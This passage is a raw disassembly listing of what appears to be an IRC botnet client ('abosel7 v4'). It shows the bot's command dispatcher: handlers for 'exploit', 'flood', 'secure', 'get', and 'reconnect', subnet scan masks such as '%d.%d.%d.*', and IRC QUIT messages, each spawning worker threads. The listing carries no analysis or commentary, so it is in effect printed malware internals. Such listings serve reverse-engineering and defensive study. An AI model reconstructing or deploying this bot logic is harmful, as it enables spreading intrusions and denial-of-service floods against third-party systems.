		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBDC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBBC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2680D12h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB84
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB64
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAE8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BACC
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB0


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42BA60
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA48
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA44
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42B9E8
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D0


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B920
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B910
		push	offset dword_42B900
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F4
		push	offset dword_42B8E4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset dword_42B880
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42B814
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 2680000h
		nop
		push	eax
		push	offset dword_42B7A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6B8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B68C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9BC


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B650
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B610
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E4


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 2680D12h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
